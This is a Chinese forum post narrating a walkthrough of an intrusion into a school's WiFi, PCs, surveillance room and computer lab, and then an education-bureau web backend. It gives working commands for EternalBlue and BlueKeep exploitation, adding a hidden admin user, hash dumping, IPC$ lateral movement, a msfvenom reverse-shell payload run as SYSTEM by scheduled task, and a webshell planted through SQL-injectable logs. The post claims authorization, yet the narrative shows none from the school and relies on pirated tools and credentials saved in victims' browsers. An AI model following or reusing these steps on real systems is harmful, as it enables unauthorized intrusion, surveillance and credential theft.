找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4110

积分

0

好友

535

主题
发表于 2 小时前 | 查看: 1| 回复: 0

前言

常听老师们说,学安全技术的,如果没有研究过自己学校的安全状况,总觉得少了点什么。今天我就来简单记录一次对学校系统的探索过程,整体难度适中。文中涉及的所有问题均已通过正规渠道提交至教育漏洞报告平台和国家信息安全漏洞平台,切勿用于其他用途。

教育漏洞报告平台 - 我的提交页面

CNVD漏洞详情页面 - SQL注入漏洞

CNVD漏洞详情页面 - 文件上传漏洞

思路设计

目标学校没有公开的外网网站,所以直接通过互联网攻击的路径走不通。他们也没有提供VPN或者统一的校园网接入,连上VPN再打内网的路子也堵死了。直接拿着U盘去办公室电脑上插?一来没那个胆子,二来也违法。所以只剩下“近源渗透”这一条路,也是最麻烦的一条,这也是我拖延了很久才开始行动的主要原因。

所谓近源渗透,简单说就是渗透测试人员需要靠近甚至进入目标建筑物内部,利用无线通信、物理接口或智能设备进行测试。说直白点,想测试学校的安全,就得跑到学校附近甚至里面去。这与常见的远程网络攻击不同,在大型的网络安全演习中更为常见。

首先得设计行动思路。一个人拿着设备在学校门口鬼鬼祟祟地坐着肯定不合适。所以我在家提前设计了两套方案,准备等天色晚些、人少的时候再去,速战速决。

Bing搜索“近源渗透”的定义

重要提示:任何未经授权的设备入侵和数据篡改行为都是违法的。本次所有操作均在授权模拟的范围内进行,且在测试结束后对上传的测试文件进行了彻底清理。

思路1简单概括
如果网络结构比较简单,就在门口直接拿下设备,不再进行更深层次的网络穿透,也不篡改任何数据。

思路2简单概括
如果网络结构比较复杂,那就先拿下能拿下的设备,上传后门以便远程控制,然后回家再慢慢分析、逐步推进,同样不篡改任何数据。

备用思路2-1简单概括
技术有限,最终无功而返...因为没有任何一次渗透测试能在开始前就保证百分之百成功。

整体渗透思路图详细梳理
这次的主要目标是学校的监控室和微机室,这两个地方是学校计算机网络的核心。大家都知道,每个教室都配备了电子白板,但据我观察,每次放学和没课的时候,白板都会关机。

手绘校园渗透思路示意图

上面是一张简化的思路图,也是本次行动的基本路线。

监控室在一楼,每次放学都会路过,但记不清具体是哪个房间了。微机室在二楼,同样记不清房号。一楼和二楼分布着大量教室和办公室,网络环境相对复杂。但这两个目标点也有其特点:办公室的电脑通常没人用时会关机,教室里的电子白板放学后也会关机断网。所以,排除掉这些已经下网的设备后,像监控室、服务器这类需要持续在线的设备,用扫描工具找起来反而会相对容易一些。

实战过程

监控系统

学校门口照片

首先到达学校门口,需要连接内网。用Kali破解WiFi密码太费时间了,而且我出门时天色已晚,所以打算用点“魔法”——直接用WiFi万能钥匙这类软件先连上WiFi再说。很久没用了,一打开就是各种广告,还提示要充会员才能“免费”破解我想连的这个WiFi。

WiFi万能钥匙会员推广广告

这时我突然想起来,之前有师傅给过我一个资源下载站,可以去那里看看有没有WiFi万能钥匙的“专业版”。

WiFi万能钥匙专业版已连接界面

果然有。下载安装后,直接找了个WiFi连接。这里有个不算技巧的技巧:在外面连接WiFi时要选对目标。学校周边也有商户和住户的WiFi。其实很简单,学校的WiFi命名通常有规律,比如办公室门牌号。我这边的情况就是这样,因为我离教学楼一楼比较近,所以能连到名为“1xx”这类格式的WiFi。

连上之后,首先尝试访问 192.168.1.1,看看能不能进入路由器管理后台。

浏览器访问192.168.1.1/cgi-bin/lu

路由器登录界面

尝试了一下网关的默认密码。

登录失败提示等待一分钟

...我只输了一次密码,它却提示输入错误3次,锁了一分钟。看来初始密码被改了,也没有找到可供解密的备份配置文件,所以暂时放弃这条路。

试试 192.168.1.1:8080 这个端口。

8080端口恢复出厂设置警告

刚访问就弹出这个警告。虽然不知道具体原因,但先不管了。关闭弹窗后,8080端口显示可以恢复出厂设置,这确实是一个突破口。但在开头已经声明不能破坏设备数据,所以这个点不予利用。

另一个路由器登录界面

放弃路由器后,突然想到,试试WiFi密码是不是就是管理员的登录密码。

成功登录路由器管理界面

成功登录!但在管理界面里找了一圈,只发现几台连接了WiFi的电脑设备,并没有我期望的服务器、摄像头或其他智能设备。看来这个WiFi下没有目标,先把网关放一放,去扫描整个C段。

nmap扫描结果,发现445端口

扫描发现有三台设备,其中一台存在MS17-010(永恒之蓝)漏洞。直接利用该漏洞反弹Shell,轻松拿下了这台机器。一开始以为没有杀毒软件,但后来连接桌面后发现其实装有360,只不过这个360似乎很久没更新了...

Metasploit框架启动界面

成功获取meterpreter shell

连接成功后,添加用户并准备远程桌面连接。

net user admin 123456 /add
net localgroup administrators admin /add

第一条命令是添加一个用户名为 admin、密码为 123456 的账户。
第二条命令是将 admin 用户提升为管理员权限。

然后使用远程桌面连接:
rdesktop 192.168.xx.xxx

rdesktop远程桌面连接成功

成功连接。

连上之后,继续在这台机器上寻找突破口,看能否以此为跳板接触到另外两台设备。这里需要说明,虽然我只扫描到三台设备,但不代表目标一楼只有这三台在线设备。因为一楼还有其他WiFi信号,只是我的位置靠后,接收不到。所以,当前WiFi下只有三台设备,但其他WiFi下的设备数量未知。

实际上,连接桌面后没看到任何监控画面,我就猜到这三台机器可能不是监控室的。原因很简单,监控室通常有多台设备共同显示监控画面。所以,继续信息收集,寻找新的突破口。

浏览器历史记录发现教育局后台登录记录

在浏览器历史记录里,发现了一个通过IP地址访问的某教育局某部门管理员后台的登录历史。先记录下来,后面再尝试。

浏览器保存的密码被查看

浏览器开启了密码保存功能,所以这个后台系统的密码我们也知道了。但当前的首要目标是机房和监控室,这个先放一放。

Windows经典桌面背景

在这台机器上没有采集到更多有价值的信息,因此打算切换WiFi,寻找其他目标。由于位置原因接收不到其他WiFi信号,而且时间也不早了,我决定先让这台机器上线,回家后再慢慢梳理。

Cobalt Strike或其他C2的界面截图

回家后,我仍然打算从WiFi入手,直接利用这台已被远程控制的机器发动攻击。

模糊的WiFi连接示意图

先连接WiFi。为了节省篇幅,我直接略过前面几个错误的尝试。在连接到第四个WiFi时,扫描其C段发现了大量设备。

端口扫描结果显示大量开放端口

并且这些设备的端口开放情况、服务类型相似度极高。打到这儿,我隐约感觉找到监控室的终端了。它们都开放了3389(RDP)端口,于是尝试利用CVE-2019-0708(BlueKeep)漏洞。扫描还发现了其他一些内网常见漏洞,但在复现前几个时总是导致目标蓝屏...不敢再试了,用BlueKeep打的时候才勉强成功。

扫描结果显示3389端口开放

CVE-2019-0708:当未经身份验证的攻击者使用RDP连接到目标系统并发送特殊设计的请求时,Windows远程桌面服务中存在的远程代码执行漏洞。

use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
show options

set rhosts 192.168.xx.xxx
run

Metasploit中搜索BlueKeep模块

设置BlueKeep漏洞利用模块参数

扫描结果显示目标存在漏洞

扫描显示目标存在漏洞,可以利用。

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.xx.xxx
set target 4
exploit

成功利用BlueKeep漏洞获取shell

成功反弹Shell。然后我选择读取密码进行远程登录,而不是直接添加新用户。这是因为如果是显示监控画面的机器,新建用户有时会创建一个新的桌面会话,导致我们连接后看不到监控画面,从而误判目标。之前有过这样的教训,所以这次避坑。

监控室画面截图

监控室成功拿下。没有细数总共有多少监控画面,但看起来覆盖得比较全面。

另一个角度的监控或室内画面

机房

拿下监控室后,下一个目标就是机房。整体难度也适中。首先连接与机房控制机同段的WiFi。同样省略无用的试探过程,直接展示关键步骤。

利用MS15-034漏洞拿下了其中一台机器的Shell,然后开始进行横向移动。横向移动的基础是获取Hash密码。我使用的是常用的PwDump7工具,将其下载到已控制的Shell机器上,并以管理员权限运行:

PwDump7.exe

在命令行中运行PwDump7.exe

PwDump7成功提取Hash值

获得Hash值后,进行解密以获取明文密码。

使用的Hash破解工具网站:https://ophcrack.sourceforge.io/tables.php

结果:
用户名:xxxx
密码:xxxxx

其实很多工具(如Mimikatz)可以直接抓取明文密码,无需解密,但我个人习惯用PwDump7。然后利用IPC$进行横向移动:

Net use \\<目标IP>\ipc$ “password” /user:”username”

IPC连接成功提示

连接成功后,利用msfvenom生成一个后门程序:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<控制端IP> LPORT=9991 -f exe > shell.exe

使用msfvenom生成payload

然后将生成的shell.exe文件复制到目标机器上:

copy shell.exe \\目标IP地址\c$

成功复制文件到目标主机

接下来需要让目标机器执行这个后门文件,这里配合计划任务来实现。

schtasks /create /s 目标IP /u username /p password /tn flower /sc minute /mo 1 /tr “c:\shell.exe的路径” /ru system /f

这条命令的作用是,在目标IP的机器上创建一个名为flower的计划任务,以system权限每隔1分钟执行一次shell.exe

在控制端开启监听,等待反弹Shell。成功连接后,再通过远程桌面连接,最终成功获取机房控制权。

机房控制软件界面截图

熟悉的机房控制软件界面。

控制软件用户列表截图

教育局某部SQL注入

不知道大家还记不记得,我在开头提到拿下一台机器后,在浏览器历史记录里发现的那个IP站点的管理后台,以及浏览器保存的密码。现在直接拿来登录。

教育局某部后台登录界面

文章篇幅已经有点长了,所以我简单点直接放过程。这是一个特别简单的SQL注入漏洞,属于捡漏。在后台发现了一个查询功能。

存在注入点的查询功能界面

简单测试后发现存在SQL注入,直接标记注入点,用sqlmap一把梭哈就行,没有WAF拦截。

sqlmap成功跑出数据库

教育局某部GetShell

利用的漏洞是文件包含漏洞。在浏览功能点时,发现了一个查看登录日志的功能。

系统功能菜单,包含日志查看

登录日志查询界面

这个查询点同样存在SQL注入,但同一点已经利用过了,不再重复。直接抓包,在记录日志的字段中插入一句话木马。

BurpSuite抓包插入一句话木马

然后用蚁剑(AntSword)连接。

蚁剑添加数据源配置

蚁剑成功连接服务器

总结

整体来说,这次测试的难度适中。后面的Web渗透部分出乎意料地顺利,虽然没找到前端页面,但后端的安全措施比较松散。前面的近源渗透和内网横向移动过程确实比较耗费精力。

这种从外部物理环境切入,逐步深入内网,并最终发现Web应用漏洞的完整路径,对于理解真实的网络攻防场景很有帮助。技术的学习与实践离不开交流,如果你想深入探讨运维安全或渗透测试相关的话题,欢迎来云栈社区与大家一起交流成长。




上一篇:技术干货:深入剖析SIM Jacker攻击原理,从GSM短信到OTA消息的移动安全漏洞
下一篇:实战复盘:利用XXL-JOB默认口令获取Shell权限与内网横向移动
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-21 02:52 , Processed in 0.648674 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表